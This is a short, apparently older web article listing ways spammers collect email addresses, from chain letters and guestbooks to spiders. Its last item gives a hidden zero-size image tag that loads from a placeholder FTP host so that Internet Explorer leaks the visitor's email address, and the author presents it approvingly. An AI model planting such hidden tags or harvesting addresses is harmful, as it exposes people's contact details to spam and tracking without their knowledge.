Mail Harvesting Made Easy

It is scary, how simple mail adresses are collected. I think we should have a closer look at how it might be done:

1. Chain letters Chain letters are a wonderful way of collecting as they traveled a while until you get them. Most people just hit the forward button and send it right away. The other mailadresses are sent with it - including your own
2. Newsgroups and boards Ok, nowadays newsgroups are pretty dead, but they still exist. They are something like a public mailbox. Everything posted in there usually got a valid mail adress.
3. Messenger- and community profiles You all know ICQ and similar messengers? They all offer profile pages. They can be harvested without much hassle by either spidering the webpage or (ab)using the internal search protocols.
4. Guesbooks Guestbooks were often used on private homepage for communication with the webmaster to leave a line like 'great site' - most often the names of the people leaving a comment are linked to their mailaddress.
5. Spider A spider is an automated program surfing the web for collecting information - search engines use them to index your site. It is not a big hassle to make one that collects mailadresses while spidering around.
6. Info leaks in software Ok... this is really my favorite one. Just imagine you got Internet Explorer installed and some mail client. If you 'surf' to a ftp site, you are logged in there automatically as an anonymous user. Regarding the protocol, you are required to leave your mailaddress (which gets logged). Keeping that in mind, we can be nasty, letting the user load an image from an FTP server. For hiding it, we just keep it 0x0 px or transparent: <img src="ftp://ftp.example.com/path/to/picture.gif" width="0" height="0" alt="SpyImage"> IE just passes on your mailaddress without a word of warning.